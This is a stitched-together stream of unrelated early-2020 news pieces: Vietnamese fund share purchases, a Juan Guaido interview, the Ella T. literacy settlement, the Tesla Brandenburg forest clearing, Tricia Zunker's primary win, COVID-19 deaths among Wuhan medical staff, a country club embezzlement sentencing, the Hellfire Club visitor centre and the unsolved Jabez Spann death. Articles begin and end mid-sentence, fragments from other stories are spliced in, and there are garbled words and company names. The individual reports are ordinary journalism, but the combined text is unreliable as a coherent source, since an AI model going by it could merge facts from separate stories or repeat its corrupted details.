close vigil on the situation as part of routine practice," it added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Although the novel coronavirus epidemic COVID-19 has been continuously slamming the stock market, sending stock prices down, many investment funds are still actively buying. Hai An Port, run by Hai An Transport & Stevedoring JSC (HAH) in the northern province of Hai Phong. America LLC has bought 40,800 shares of Hai An Transport & Stevedoring JSC (HAH), raising the ownership rate to 6.04 per cent. Photo tinnhanhchungkhoan.vn Since the beginning of 2020, most funds have witnessed net asset values shrinking, especially those holding a large proportion of mid-cap and small-cap stocks, as these groups have seen prices fall substantially. Since early this year, these two groups saw stock prices drop by 3.42 per cent and 5.51 per cent respectively, while large-cap stocks fell 1.05 per cent. The benchmark VN-Index alone lost by 2.5 per cent. America LLC still bought more stocks with a specific focus on small and mid-cap stocks. The fund has purchased 18,000 shares of Haiduong Mineral Eineal Processing JSC (KHD), increasing its holdings in the company to 234,360 units, corresponding to the rate of 7.18 per cent. It has also bought 40,800 shares of Hai An Transport & Stevedoring JSC (HAH), raising the ownership rate to 6.04 per cent; buying 4,540 shares of Binh Dinh Minerals Joint Stock Company (BMC), raising the ownership rate to 9.01 per cent; buying 19,440 shares of Construction Investment Corporation 3-2 (C32), raising the ownership rate to 12.12 per cent. Other stocks also acquired by America LLC since the beginning of 2020 included DIC Investment & Trading Joint Stock Company (DIC), Hung Thinh Incons Joint Stock Company (HTN) and ACC Binh Duong Investment and Construction JSC (ACC). KITMC Worldwide Vietnam RSP Balanced Fund, a member fund of Korean Investment Management (KIM), has become a shareholder of An Gia Real Estate Investment and Development Corporation (AGG) after purchasing 300,000 AGG shares last month, increasing the ownership rate in AGG to 0.4 per cent. The other two funds of KIM are also holding a total of 6.67 per cent of AGG. After the transaction, the KIM member funds have increased their holding in AGG to 5.3 million shares, equivalent to 7.07 per cent of ownership. In addition to adding more AGG shares into their portfolios, the funds have recently also sold shares in Coteccons Construction Joint Stock Company (CTD), Dat Xanh Group JSC (DXG) and Hoa Binh Construction Group JSC (HBC). These funds seem to restructuring their portfolio for real estate stocks. KIM is known as one of Korea's leading fund management companies, with many large member funds such as KIM Vietnam Growth Equity Fund, KITMC Vietnam Growth Fund, KITMC Worldwide Vietnam RSP Balanced Fund. In particular, KIM Vietnam Growth Securities Master Investment Trust is KIM's largest fund in Vietnam, with a portfolio of over US$850 million. According to an announcement of the State Securities Commission released last week, all shareholders of Hung Viet Fund Management JSC have transferred 2.5 million shares, equivalent to 100 per cent of charter capital, to KIM. After the transfer, Hung Viet has officially become a wholly foreign-invested fund management company. The value of this deal has not been revealed. AFC Vietnam Fund has recently purchased 400 shares of Mechanics Construction & Foodstuff JSC on January 30, increasing the holding to 647,053 units, equivalent to ownership rate of 6 per cent. At present, AFC is investing in 59 companies, holding only 4.9 per cent of cash and cash equivalents. The most favoured stock included industrial sector, accounting for 32.8 per cent of the portfolio, consumer goods, 29.7 per cent. By the end of February 2020, the fund will have managed estimated assets of $37.2 million. PVI Opportunity Investment Fund (POF) has recently announced its purchase of 3.9 million shares of Vinaconex Power Development & Contrustion Investmen JSC (VCP), increasing the holding rate to 13.9 million shares, equivalent to 24.39 per cent ownership. The transaction was performed on February 10, valued at more than VND212 billion ($9 million). After the acquisition, POF has become the second largest shareholder of VCP, after the Viet Nam Construction and Import-Export Joint Stock Corporation (Vinaconex). At the end of 2019, Vinaconex revealed the plan to divest all of its 16 million at VCP, corresponding to the ownership rate of 28.02 per cent. POF is the first closed-end fund of PVI Fund Management Company, established in October 2015 with a term of five years. The fund raised capital from PVI member companies and other businesses with chartered capital of VND1 trillion ($42.9 million). At the extraordinary General Meeting of Shareholders on February 14, VCP submitted to shareholders for approval the listing of nearly 57 million shares on the stock market, with listing time scheduled in the second or third quarter this year. VCP stock is currently being traded on the Unlisted Public Company Market (UPCoM), closing Wednesday at VND52,000 per share. It has increased more than 60 per cent in the past year. VNS Investment funds change strategies Following a volatile 2018 which witnessed the US-China trade war, the stock market in 2019 was gloomy with the VN Index hovering around 900-1,000 points. Close Brexit briefing: How long until the end of the transition period? Home secretary Priti Patel is facing fresh accusations of bullying, as former ministers and civil servants allege aggressive and vile conduct when she was in charge of the Department for International Development (Dfid). The union representing civil servants called for a new process for raising complaints and investigating ministers behaviour, while the Home Offices permanent secretary Sir David Normington said the department was facing tropical storms. It comes as MPs warned Boris Johnsons government not to water down a report into the Windrush scandal after it was reported a section branding the Home Office institutionally racist was stripped out. This liveblog has now closed CARACAS, Venezuela - Opposition leader Juan Guaido said Friday that he trusts U.S. President Donald Trumps firm and determined backing following a White House meeting aimed at helping him steer crisis-stricken Venezuela toward a democratic transition. The Venezuelan politician bent on ousting President Nicolas Maduro with backing from roughly 60 foreign nations told The Associated Press that additional tough U.S. sanctions will soon follow, including those cutting off Maduros sale of blood-stained gold. For me he is very trustworthy, Guaido said of Trump. We had a very good meeting. I think he is a man of his word. He spoke to AP in his first face-to-face interview since returning from a tour that took him across Europe and into an Oval Office meeting a year into his campaign to oust Maduro. Guaido, leader of Venezuelas opposition-dominated congress, said he will lead a street march in the coming weeks that comes amid a turf battle to retake the legislative meeting hall in Venezuelas capital that Maduro loyalists have forcefully blocked. Guaido said that during the White House meeting, Trump and the U.S. secretaries of state, defence and commerce charted plans to force Maduro from power. Guaido said there are details he still cant discuss. The pressure is rising diplomatically and financially on the corrupt financiers and human rights violators, he said. In his time in Washington, Guaido was embraced by officials and political leaders in both parties, but he said he has not been in contact with any other candidates in the 2020 U.S. presidential race seeking to beat Trump, including Democratic Party front-runner Bernie Sanders. This week, the White House unveiled sanctions against a Russian state-controlled company that has helped the Venezuelan government skirt an American oil embargo and enabled Maduro to keep his grip on power. The same day, however, Trump in impromptu comments used less than robust words to describe Guaidos leadership. Asked if he believes Guaido is still the guy to get Maduro out of office, Trump replied: Well, hes the person that the country, right now, prefers, and thats what I go with. Well see what happens. The Trump administration has been the most important ally for Venezuelas opposition since Guaido leaped to the centre of Venezuelas tumultuous political landscape more than a year ago and vowed to force Maduro from power and restore democracy. Guaido, 36, immediately won backing from the U.S. and dozens of nations that recognize his claim as Venezuelas interim president, saying Maduro fraudulently won a 2018 presidential election in which his most popular political opponents were barred. Venezuelans swarmed around Guaido believing he would bring a swift exit from two decades of socialist rule blamed for leading the oil-rich nation to a crisis that has driven more than 4.5 million Venezuelans to emigrate in recent years. But Guaidos popularity faded after several months and a failed military uprising. Street demonstrations that Guaido later called drew fewer supporters, and Maduro appeared emboldened. Security forces and armed civilians loyal to Maduro have blocked opposition lawmakers, including Guaido, from entering the congress building in the centre of Caracas. While Guaido was on his three-week international trip, police occupied his offices. Guaido hopes his popularity has revived following the international tour and White House visit. He was a guest of Trump at the annual State of the Union address, where the U.S. president called Guaido the true president of Venezuela. When Guaidos flew back to Venezuela, authorities detained his uncle Juan Jose Marquez, accusing him of trying to sneak explosives into Venezuela. Guaido has dismissed the accusation as absurd. The Maduro government is sending a clear signal with the arrest, Guaido said, adding that his uncle is being held at a military police unit notorious as a place they torture and kill detainees. In a possible test of his new-found momentum, Gauido called for Venezuelans to mobilize on March 10. He said removing an entrenched dictator is no simple task, but insisted that those on the side of democracy are winning. Who is weaker, and who is strong? Im here showing my face to the people, Guaido said, adding that walking freely among Venezuelans as he does is not a luxury Maduro and his allies have. Im free. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe As a second grader, "Ella T." had the literacy level of a preschooler. She couldn't spell basic words -- paper, dear, need, help -- and could "barely write a complete sentence," according to a court filing. At La Salle Elementary in South Los Angeles, staff knew the child wasn't making progress. But Ella T. only received a handful of short tutoring sessions, her attorneys said: The school "does not have the resources to deliver meaningful literacy interventions." Ella T.'s attorneys didn't blame the school; they blamed the state of California. In 2017, they sued, arguing that state education officials knew of a "crisis" of reading and writing in California public schools, yet failed to muster the money or a plan to address it. On Thursday, an L.A. Superior Court judge approved a settlement in Ella T. v. California in which state leaders, including Gov. Gavin Newsom, agreed to take steps to address the plaintiffs' concerns. The settlement demonstrates that Newsom and his administration are "serious about addressing the fact [that] right now, California is bringing down the nation," said the plaintiffs' attorney, Mark Rosenbaum. A screenshot from the 2017 lawsuit "Ella T. v. California." (Public Counsel/Morrison & Foerster LLP) In the 2017 complaint (screenshot above) attorneys included a sample of "Ella T.'s" writing. They said it illustrated that, at the time, she "could barely write a complete sentence." According to her attorneys, it reads, "Der Governor. I can improve the school. supplies eras piso cupiso. shrpo pars yes. I ned eshu hlpe." WHAT'S IN THE SETTLEMENT As part of the agreement, state education officials have agreed to a three-year, $50 million grant program to improve reading and writing instruction in 75 struggling schools. Newsom included money for the effort in his budget proposal. "The state will make certain," said Rosenbaum, who's with law the firm Public Counsel, "not just that they have the financial resources, but that they have programs in place ... [that] meet all the evidence-based factors that we know work in terms of teaching kids how to read." Along with two advocacy organizations, the case listed 10 students as plaintiffs: Ella T. and nine others -- all students of color -- who attended struggling public schools in L.A., Inglewood and Stockton. Rosenbaum said Ella T.'s school, La Salle Elementary, is one of the 75 schools eligible to receive money from the grant program, as is the Stockton school named in the case. The settlement also calls for new statewide guidance to schools calling for less-punitive discipline, along with a Blue Ribbon Commission to study the topic. Rosenbaum said that's because students' social and emotional needs are often barriers to learning to read. A LITTLE HISTORY The plaintiffs had sought to establish that the California constitution guarantees all public school students the right to quality instruction in reading and writing -- so in settling the case, state officials avoided a legal judgment that might have set a costly precedent. In their original complaint, the plaintiffs pointed to a plan state education officials wrote in 2012. In it, experts concluded California faced an "urgent need" to improve literacy instruction, particularly for black and Latino children. "Many students will be at academic risk if improved approaches to literacy instruction are not an immediate and central focus of California's educational system," the authors of the Striving Readers Comprehensive Literacy Plan said. State education officials countered that this "plan" was simply an application for federal grant money that California never actually received. In any event, the plan was never put into action -- which, in their 2017 lawsuit, the plaintiffs argued was evidence that state leaders were failing in a fundamental obligation to California's six million public school students. The state argued the plaintiffs should be suing their schools or districts for poor performance, not Sacramento. Since 2013, the state had been pumping billions of new dollars into its K-12 system, all while giving local school districts more freedom to decide how to spend their funding. But in 2018, L.A. Superior Court Judge Yvette M. Palazuelos disagreed with the state's argument. In a ruling allowing the case to proceed, she wrote that "while the state delegates to agencies for operation of the school system, the state is ultimately responsible for public education." 'THE LONGEST-RUNNING URGENT PROBLEM IN THIS COUNTRY' State lawmakers must still approve the $50 million grant program. "The key," said Rosenbaum, "is not so much the money, but it's to make sure what comes out of that money -- the programs, the training, the teachers -- are equipped to deliver [for] those children." When asked whether $50 million over three years would make much difference in a state that spent more than $81 billion in the 2019-20 academic year on K-12 education and community colleges, Rosenbaum said the money would be a huge boost to the struggling schools that receive it. "If you're asking if this is going to solve the longest-running urgent problem in the history of this country -- that all children don't receive equal educational opportunity -- the answer is definitely not," he said. "But for the tens of thousands of kids in these schools, this is going to make a difference." While she fought the demolition, Wesson said shed come to accept it as a loss. Then the city sent her a bill in January for $26,965 perhaps more than the home was worth. Many nearby rowhouses are valued at about $19,000 for tax purposes by the state. The bill Wesson received is in the form of a lien on the property meant to recoup the money for razing it. 21 February 2020, Brandenburg, Grunheide: The clearing work on the site for the future Tesla plant has started again. Photo" Bernd Settnik/picture alliance via Getty Images Tesla has narrowly dodged a delay to the construction of its new Gigafactory in Brandenburg, Germany, after a regional court granted approval to clear 90 hectares (222 acres) of forest for the site. Tree-felling had been on hold since Sunday morning, after environmental organisations Green League and the Association for Landscape Management and Species Protection filed an emergency appeal to stop the clearance, citing threats to forest wildlife and other environmental issues. The higher administrative court of Berlin-Brandenburg ordered an immediate halt to tree-clearing. Business associations warned earlier this week that it would be a catastrophic signal from Germany to foreign investors" if the Tesla project failed due to bureaucracy and over-regulation. "The Tesla factory is a lighthouse project in the true sense of the word," Federal Association of Small and Medium-Sized Businesses president Mario Ohoven said. READ MORE: German economy minister warns against delays to Tesla plant Teslas Gigafactory will sit on a 300-hectare site, near the community of Grunheide in Brandenburg, the state surrounding Berlin. The electric-car company plans to produce its Model Y and Model 3 at the plant when it opens in 2021, and is targeting 500,000 units annually at full capacity. Although Tesla is expected to create up to 12,000 much-needed new jobs in the state, there have been protests from the locals, who fear the factory will pollute the environment, and that its massive water usage will lower the ground-water table and cause shortages for local people in the area. Tesla chief executive Elon Musk has tried to allay their fears about water usage, and pointed out that most of the forest in question was being grown for cardboard. Teslas work is just the latest in a long line of projects that have been stalled, or even brought to a complete halt in Germany over concerns about wildlife protection. The discovery of European hamsters in 2004 at a location where energy giant RWE planned to build a power plant put the brakes on the project for several years. A dredging project on the Elbe river, a main trade waterway in Germany, has been on hold for 12 years due to the presence of rare birds and a special dragonfly. Tesla is now under time pressure to get the forest cleared before the bird-nesting season and bat-mating season begins at the start of March. Tricia Zunker wins Democratic nomination in Wisconsins special congressional primary election #NativeVote20 Indian Country Today There are 82 days until May 12. That means Tricia Zunker has 82 more days to convince Wisconsin voters that she is the right fit to represent them in Washington . If Zunker wins Mays general election, she will officially be elected as the third Native woman to serve in this session of Congress. She would also be the second Ho Chunk citizen to serve. But the first step to get there was to win the primary election. And Zunker did that last night in a landslide. Great meeting with tribal leaders of the Forest County Potawatomi Executive Council today in Crandon, WI. I listened to powerful testimonies&we discussed concerns that are not limited to Indian Country. We agree that "talk is cheap"-- let's get to work! Migwetch FCP Exec Council! pic.twitter.com/aj7upp75Cg Tricia Zunker (@TriciaforWI) January 22, 2020 Zunker, Ho-Chunk , was officially nominated as the Democrat's candidate to represent Wisconsins 7th congressional district . In a special election Tuesday, she defeated her opponent Lawrence Dale with 88 percent of the vote. This is a historic night for a Ho-Chunk woman to win this primary, she told Indian Country Today after winning the Democratic nomination. Zunker spent her evening surrounded by family and friends at a campaign party in Wausau, Wisconsin. Her party was held at a locally owned bowling alley called Day's Bowl-A-Dome. Shortly after her race was called, she thanked her supporters. Yaw^ko to the Oneida Nation Business Committee for today's meeting. We had an engaging discussion about this special election and about some important issues that affect us here in Wisconsin. #W07 #SpecialElection pic.twitter.com/yAavG8McZT Tricia Zunker (@TriciaforWI) January 15, 2020 And now it is back to work for Zunker, who is an associate justice of the Ho-Chunk Supreme Court and Wausau School Board member. Ive been focusing on May 12 from the beginning, Zunker said. So Im very excited for the next step. Zunker will face Republican Tom Tiffany in the May special election. Tiffany served one term in the Wisconsin State Assembly and is currently serving his second term as a state senator. Tiffany is also a small business owner and a proven conservative for Wisconsin. The seat is open because Republican Rep. Sean Duffy resigned from his position in September to spend more time with his family. Duffy has endorsed Tiffany as the candidate to replace him in Congress. Zunker says she is ready to take on the challenge of defeating Tiffany by staying true to her message of working hard for families, running a grass-roots campaign and working across the aisle. Zunker said she has been campaigning non-stop throughout Wisconsins 7th congressional district. The district is home to 26 counties. It accounts for roughly one-third of the state of Wisconsin. There are also nine reservations in this district. All of this is so deeply meaningful to me, Zunker said. And we are one step closer to having more Indigenous representation in Washington. Mii gwech to Red Cliff tribal leadership for your hospitality yesterday. We discussed some important concerns and I was able to learn about the impressive achievements occurring within your Nation. I'm looking forward to another visit to Red Cliff soon. #WI07 #SpecialElection pic.twitter.com/11uHZx3vGd Tricia Zunker (@TriciaforWI) January 12, 2020 Aliyah Chavez, Kewa Pueblo, is a reporter-producer at Indian Country Today's Phoenix Bureau. Follow her on Twitter @aliyahjchavez or email her at achavez@indiancountrytoday.com Note: This story originally appeared on Indian Country Today on February 18, 2020. Join the Conversation Related Stories China's Medical Personnel Hard Hit by Coronavirus Amid Citywide Lockdowns 2020-02-20 -- Deaths and infections among healthcare professionals in China continue to be a concern in the coronavirus epidemic, especially in the worst-hit central province of Hubei and its capital Wuhan. Mainland China on Thursday reported 2,118 deaths and 74,576 confirmed cases of COVID-19, with newly confirmed cases rising more slowly than in previous weeks. More than 80 percent of the country's cases are in Hubei, as are more than 95 percent of the deaths, China's National Health Commission said. Wang Ping, director of Wuhan's No. 8 Hospital, became the latest high-profile healthcare figure to be confirmed as infected with COVID-19, after the death of whistle-blowing doctor Li Wenliang and Liu Zhiming, director of Wuhan's Wuchang Hospital. A resident of Hubei's Jingzhou city surnamed Mao said news reports have indicated that the director of Wuhan No.8 Hospital is among the confirmed cases. "We saw it yesterday ... she could be in a critical condition," he said. He said restrictions are also tight in his city, with strict controls on who can leave their homes, and essential shopping trips arranged by the ruling Chinese Communist Party's neighborhood committees. "What is happening now is that people must remain in their homes," he said. Shortage of protective equipment Some 3,000 medical personnel are believed to have been infected with COVID-19, sparking concerns over how the epidemic will develop in the weeks to come. Wuhan volunteer Xu Wenli told RFA that there is currently a shortage of protective equipment for frontline medical staff, and that some medical staff are wearing protective suits for two days straight rather than changing them regularly. Social media posts have also claimed that some medical staff are fashioning their own protective equipment from different materials. Xu said the situation on the ground in Wuhan appears to be far worse than during the SARS epidemic of 2002-2003 that left around 800 people dead. "SARS wasn't this bad," Xu said. "The funeral homes of Wuhan are working overtime to cremate bodies, day in, day out." "They could cremate one or two thousand bodies in a day, but they have been cremating now for more than 20 days." A volunteer in Wuhan who asked to remain anonymous said local medical sources are saying that the relatively high mortality rate is likely due to patients only getting treated when the disease has progressed to the point that they are seriously ill. Wuhan residents have described a system under which local neighborhood committees are tasked with issuing permits for patients to leave their residential communities and travel to hospital, and that nobody without approval from local officials is being offered treatment when they arrive at the city's overwhelmed hospitals. "Part of it is ignorance, and part of it is the government's doing," the volunteer said. "They suppress the news, and if you wait until people learn about it, it's too late, and they are basically looking at dying in quarantine." "Inside information indicates that the mortality rate for critically ill [COVID-19] patients is 50 percent," he said. Crackdown on critical views A medical staff member in the logistics department at Wuhan No. 1 Hospital agreed with the volunteer's estimate. "It may start off with mild symptoms, but if they can't fight off the virus, the infection becomes severe," the staff member said. "The mortality rate for severe illness is more than 50 percent." Authorities are continuing to crack down on anyone with outspoken views about the ruling party's handling of the epidemic. Cutting edge opinion blog Dajia was deleted by social media giant Tencent on Feb. 19 and all of its archive removed from the internet after it criticized state media's coverage of the coronavirus epidemic, which it said was irresponsible and dangerously misleading. The piece, penned by veteran Chinese journalist Chen Jibing, had garnered hundreds of comments critical of the lack of press freedom under the Chinese Communist Party. Sources told RFA that the powerful Political and Legal Affairs Committee of the Chinese Communist Party has issued a directive requiring all regions begin providing "heart-warming" coverage of the epidemic. "Originally, the propaganda was controlled by the central propaganda department, but now it's the political and legal affairs committee [the arm of the Communist Party in charge of law enforcement] that is controlling everything," one source said. Reported by Qiao Long for RFA's Mandarin Service, and by Wong Siu-san and Sing Man for the Cantonese Service. Translated and edited by Luisetta Mudie. Copyright 1998-2020, RFA. Used with the permission of Radio Free Asia, 2025 M St. NW, Suite 300, Washington DC 20036. For any commercial use of RFA content please send an email to: mahajanr@rfa.org. RFA content February not be used in a manner which would give the appearance of any endorsement of any product or support of any issue or political position. Please read the full text of our Terms of Use. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address AP Donald Trump's Colorado Springs rally has booed the name of climate activist Greta Thunberg, who he mentioned as he complained that he should be honoured as Time magazine's Person of the Year every year. Mr Trump attacked the 17-year-old by noting she had beat him out for the magazine honour in 2019, but noted that he has won in the past. He has previously complained about losing to Ms Thunberg, notably during the World Economic Forum in Davos, Switzerland earlier this year. "This year I got beaten out by Greta you know Greta?" he said, prompting the boos. "Last year I got beaten out I've won it, but when the world revolves around all of us, we should be chosen," he continued, twirling his finger in a circle on stage. "I mean, we've won it. But we should win it every single year." Mr Trump won the honour in 2016, shortly after his election as president. Men who have won the US presidency have traditionally been named the year they win election (one exception has been made in the past 30 years, when Bill Clinton was not named as person of the year after his re-election win in 1996). While complaining about Time Magazine, Trump goads his audience into booing teenage climate activist Greta Thunberg pic.twitter.com/vz3MS1twuw Aaron Rupar (@atrupar) February 21, 2020 After Mr Trump was named person of the year in 2016, the magazine proceeded to name "The Silence Breakers" and then "The Guardians" as the people of the year. The first of those was in reference to the women who came forward with accusations of sexual abuse and exploitation during the MeToo movement, and the second was in reference to journalists across the globe who have faced persecution, arrest or murder during the course of their reporting. Story continues Mr Trump, a prominent climate change denier, has clashed with Ms Thunberg frequently in the past, after she gained international notoriety for her school strikes that have spread into a movement among young people across the world. Last year, when the two both attended the United Nations General Assembly in New York, Ms Thumberg was seen glaring at the US president as they passed one another during the proceedings. For her part, Ms Thunberg has suggested that Mr Trump is not worth her time or energy as she seeks to convince international governments to take the threat of climate change seriously. Read more Greta Thunberg could become only 18th woman to win Nobel Peace Prize German interior minister Horst Seehofer said Friday that the police presence would be increased across the country to counter the "very high" security threat from the far-right, after a gunman killed nine people in a racist attack late Wednesday. "The security threat from right-wing extremism, anti-semitism and racism is very high," Seehofer said at a press conference in Berlin. He also announced an "increased police presence" and "increased surveillance" at mosques, train stations, airports and borders. Right-wing extremism, Seehofer said, was the "biggest security threat facing Germany", and one which had left "a trail of blood" behind it in recent months. Germany has already taken several measures to combat right-wing extremism after a string of violent incidents over the last year. Last June, pro-migrant politician Walter Luebcke was murdered, while October brought an attack on a synagogue in the eastern city of Halle. Suspects in both cases have ties to the far-right scene. Seehofer said he was not calling for more police officers or further laws, but rather "a greater use of the options already available to us". Sitting to his right, Justice Minister Christine Lambrecht said the government would examine in detail how firearms could end up in the hands of "extremists". Yet both Seehofer and Justice Minister Christine Lambrecht underlined the difficulty of detecting attackers who act alone, as the key suspect in the Hanau shootings appeared to have done. "Despite all our efforts, we cannot completely rule out such terrible crimes," said Seehofer. Federal police chief Holger Muench, meanwhile, warned that "around half" of those who carry out such attacks were previously unknown to the authorities. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) There was always a secret police car watching over anybody who was going in and out, out in the streets, and inside there were lawyers and priests and nuns and political people taking testimonies of people whose families had been kidnapped and taken to secret prisons, John Dinges, a veteran foreign correspondent in Latin America and author of the book The Condor Years: How Pinochet and His Allies Brought Terrorism to Three Continents, said in an interview. AUSTIN Alexandria Ocasio-Cortez, the progressive New York congresswoman, is wading into the Texas Senate race, backing longtime labor organizer Cristina Tzintzun Ramirez and bucking the Washington, D.C., establishment thats supporting decorated Air Force pilot MJ Hegar. Its the latest endorsement for Tzintzun Ramirez, who has sought to stand out as an unapologetic progressive in the crowded Democratic race to challenge Republican U.S. Sen. John Cornyn. The Austin-based advocate for the rights of workers and immigrants who supports Medicare for All, the Green New Deal and wants to defund Immigration and Customs Enforcement, received the support of U.S. Rep. Joaquin Castro, a San Antonio Democrat, earlier this week. Know the candidates: Houston Chronicle 2020 primary election voter guide; San Antonio Express-News 2020 primary election voter guide Its not the first Texas race Ocasio-Cortez has waded into. Shes also backing Jessica Cisneros, a 26-year-old immigration attorney trying to tackle U.S. Rep. Henry Cuellar from the left. Cisneros is supported by Justice Democrats, a progressive group that backed Ocasio-Cortezs insurgent run in 2018. Tzintzun Ramirez and Cisneros are part of a new brand of Texas Democrat more closely aligned with Bernie Sanders or Elizabeth Warren than Joe Biden, who argue that a key to turning the state blue will be reaching voters who have not made a habit of voting in the past, especially young and minority voters who they believe can be energized by an unflinching progressive message. The endorsements are part of a new effort by Ocasio-Cortez to support female progressives through a political action committee shes creating to act as a counter to the Democratic establishment in Washington, which she announced on Friday. Its important for us to create mechanisms of support because so much of what is happening in Washington is driven by fear of loss, she said in an interview with the New York Times. We can really create an ecosystem that makes people more comfortable into making the leap to make politically courageous choices. I have spent my career fighting against corporations with powerful lobbyists by mobilizing working people, and I believe in the power of us to create change, Tzintzun Ramirez said in a statement. When I am in the Senate, I will fight for the bold, progressive change that Texans deserve, including securing an economy with living wages, high-quality healthcare for all, and real action on climate change. Texas Take: Get political headlines from across the state sent directly to your inbox Polling suggests most voters are still too unfamiliar with the dozen Democrats in the Senate primary to have a pick, even as early voting is underway. But Tzintzun Ramirez has landed in second place in several polls, behind Hegar, who has raised the most money and has the backing of Senate Democrats campaign arm. Texans are going to vote for someone who is outside the political system and embodies Texans values of strength, courage and independence, said Amanda Sherman, a spokeswoman for the Hegar campaign. Thats why as a combat veteran and working mom MJ is gathering support from voters across the state as she travels tens of thousands of miles to build a Texas grassroots powered campaign. The stamp of approval from Ocasio-Cortez drew immediate fire from the Cornyn campaign, which had already been calling Tzintzun Ramirez AOCristina for weeks. AOCs endorsement of AOCristina proves that radical Liberals are coming for Texas with all theyve got, Cornyn campaign manager John Jackson said in a statement. Cristina Tzintzun Ramirez's policies are out of step with Texas voters and we look forward to educating Texans on her disastrous Green New Deal, Medicare-for-None, and gun seizure program this Fall. ben.wermund@chron.com A longtime employee of The Country Club of Birmingham who carried out a years-long elaborate scheme to embezzle more than a half million dollars from the private club has been sentenced to federal prison. U.S. District Judge Annemarie Axon on Friday sentenced Michael Charles Vines to 41 months in prison for wire fraud after he pleaded guilty, according to a joint announcement by U.S. Attorney Jay Town and U.S. Secret Service Special Agent in Charge Patrick Davis. Years before, Vines had cooperated with the federal investigation into the $4.6 billion fraud that crippled once-giant Birmingham healthcare company HealthSouth and even testified before Congress on his involvement in helping blow the whistle. Vines was hired by the country club located in Mountain Brook in 2002, initially as an accounts receivable clerk where he managed the cash and checks received from members and visitors to the club. Additionally, he was responsible for preparing a portion of the monthly bank account reconciliation dealing with deposits. In 2006, Vines was given the additional responsibilities of becoming an Information Technology Specialist and, in 2008, he received another promotion to Management Information Systems and Accounts Receivable Clerk. According to court documents, between 2007 and 2018, Vines engaged in a scheme to steal cash and other proceeds from The Country Club of Birmingham. Federal investigators contend he concealed that scheme by making false and fraudulent representations in person and in emails to club management and an outside auditor. In early 2018, during the clubs 2017 year-end audit, the outside auditor discovered that bank records received from the National Bank of Commerce for the club reflected a balance that was $455,643.72 less than the account balance reflected on the reconciliation Vines provided to the auditors, records show. Vines, investigators said, was unable to provide an explanation for the discrepancy, and attempted to delay the inquiry so he could further conceal the fraud scheme. He tried to do so, records state, by attempting to make changes to the software system to make it appear the balance reconciled, however the software program maintained a trail of changes made in the system. In June of 2018, according to the court filings, Vines was confronted by club management about a revised bank account reconciliation and he abruptly left his employment. An inspection of his work station turned up a significant number of un-deposited checks in his desk drawer that were payable to the country club. The club then hired a separate forensic accountant to examine the financial records. The forensic analyst specifically noted that Vines had embezzled large amounts of cash from (the club), according to the charging document. The cash received included cash from members and other visitors including monthly dues, merchandise sales and special events hosted at the club. In one case, records state, a member contacted Vines about his overdue balance and Vines offered to credit the account but instructed the member to make his dues directly payable to Vines. An analysis of Vines personal cash flow further corroborates his scheme, records state. Between 2011 and 2018, Vines deposited over $430,000 in cash into his personal bank account. Additionally, between 2014 and 2018, he deposited another $35,000 in cash to a personal account at a separate bank. Vines scheme resulted in him stealing over $630,000 from The Country Club of Birmingham, prosecutors say. The U.S. Secret Service investigated the case, which Assistant U.S. Attorney Robin Beardsley Mark prosecuted. The defendant exploited his position of trust with conduct that was deliberate and deceptive, Town said. Abuse of trust and misuse of funds is unacceptable and those who consider engaging in these types schemes should know that it can lead to federal prison. The investigation conducted by the U.S. Secret Service revealed Michael Charles Vines defrauded The Country Club of Birmingham of over $630,000, Davis said. Mr. Vines was a tenured employee. He not only violated the trust of his employer, but also that of the members of The Country Club of Birmingham. A controversial visitor centre proposed for the Dublin Mountains will have no adverse impact on protected wildlife and habitats, its promoters have claimed. South Dublin County Council claims new surveys show increased visitor numbers arising from the 19m centre on Montpelier Hill, near the iconic Hellfire Club in Rathfarnham, were unlikely to lead to a significant rise in numbers venturing further into the uplands. The visitor centre is strongly opposed by many residents, environmental groups and local politicians, who want to safeguard the natural beauty of the area, while also expressing concern about additional traffic. The Save the Hellfire group has described the visitor centre as a "vanity project". But the council has said that a new Natura Impact Statement had concluded "beyond all reasonable doubt" that the centre would not adversely affect the integrity of the Wicklow Mountains Special Protection Area. It acknowledged measures were needed to prevent an impact on merlin, a bird of prey, because it would result in a decrease in hunting habitat. Expand Close Dublin's iconic Hellfire Club / Facebook Twitter Email Whatsapp Dublin's iconic Hellfire Club However, the council said the report showed such measures would reduce impacts on merlin "to imperceptible levels". The report is contained in the council's response to a third request by An Bord Pleanala for further information. The latest request was made following an oral hearing on the project in November 2018. An Bord Pleanala subsequently said it was not satisfied that an earlier survey on the impact on merlin was adequate. It also said it was not satisfied that increased visitor numbers would not have an adverse effect on protected habitats in the area of the Hellfire Club. However, the council said an updated Environmental Impact Assessment report did not change any conclusions and that a three-fold increase in Hellfire Club visitors would not result in significantly more people accessing protected heaths. Cafe The project is sponsored jointly by South Dublin County Council, Coillte and the Dublin Mountain Partnership. The plans include a cafe, shop, toilets, changing facilities, a walkers' lounge, exhibition space and education centre. The plans also provide for a shuttle bus from a park-and-ride facility at Tallaght Stadium. Parties who have already made submissions to An Bord Pleanala have until March 23 to comment on the latest information. Mystery: The skeletal remains of 14-year-old Jabez Spann were recovered in Florida in February 2019. A year later, no arrests have been made in his death Police in Florida are appealing to the public for information related to the unsolved case of a 14-year-old boy whose skeletal remains were discovered on the side of the road a year ago. Jabez Spann had gone missing in 2017, a week after witnessing a man's murder. Two years later, on February 16, 2019, a laborer came upon the missing teen's fully skeletonized body in rural Manatee County. Spann was positively identified by his dental records. Sarasota Police Department spokeswoman Genevieve Judge says the investigation into Spann's death remains active, but the agency has not received many leads over the past 12 months. 'We wish more people would come forward, because like we said it in the beginning, we feel like someone in our community knows something and is afraid to come forward,' she told Bradenton Herald. A $50,000 reward is being offered for information leading to an arrest in the teenager's death. Tawanna Spann, Jabez's mother, has hired a private investigator to look into the case. Jabez's mother on Sunday visited this memorial in Manatee County marking the spot where her son's bones were recovered a year ago On Sunday, she visited a roadside memorial that was erected in her son's honor and shared photos on her Facebook page, writing in the accompanying post: 'I was dreading all day to go see this. The tears that flow when i went here are just as painful as the day he was found. Upsetting: Tawana Spann shared this very unsettling image showing her son's bones in a box, as she drew a comparison between herself and the mother of Emmett Till, who made public an extremely graphic photo of her 14-year-old's son mutilated face in 1955 'I just cant understand stand how someone could just throw his body on the side of the road like that...Im not 